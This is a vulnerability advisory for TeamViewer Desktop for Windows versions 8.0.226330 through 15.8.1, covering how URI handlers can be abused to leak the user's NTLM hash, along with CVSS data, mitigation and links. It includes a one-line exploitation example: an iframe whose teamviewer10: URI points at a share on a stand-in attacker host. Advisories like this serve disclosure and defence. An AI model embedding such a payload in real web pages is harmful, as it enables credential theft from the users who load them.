Vulnerability identifier: #VU42044
Vulnerability risk: High
CVSSv3.1: 7.5 [CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N/E:F/RL:O/RC:C]
CVE-ID:
CWE-ID:
CWE-428
Exploitation vector: Network
Exploit availability: Yes
Vulnerable software:
TeamViewer
Client/Desktop applications /
Other client software
Vendor: TeamViewer
Description
The vulnerability allows a remote attacker to gain access to sensitive information.
The vulnerability exists due to TeamViewer Desktop for Windows processes URI handlers in an insecure manner. A remote attacker can create a specially crafted link, trick the victim into clicking it and force the application to send an NTLM authentication request to a remote system.
Successful exploitation of the vulnerability may allow an attacker to obtain NTLM hash of the current Windows user, which may result in system compromise.
Exploitation example:
<iframe src='teamviewer10: --play \\attacker-IP\share\fake.tvs'>
Mitigation
Install updates from vendor's website.
Vulnerable software versions
TeamViewer: 8.0.226330 - 15.8.1
External links
http://community.teamviewer.com/t5/Announcements/Statement-on-CVE-2020-13699/td-p/98448
http://jeffs.sh/CVEs/CVE-2020-13699.txt
Can this vulnerability be exploited remotely?
Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.
Is there known malware, which exploits this vulnerability?
No. We are not aware of malware exploiting this vulnerability. However, a fully functional exploit for this vulnerability is available.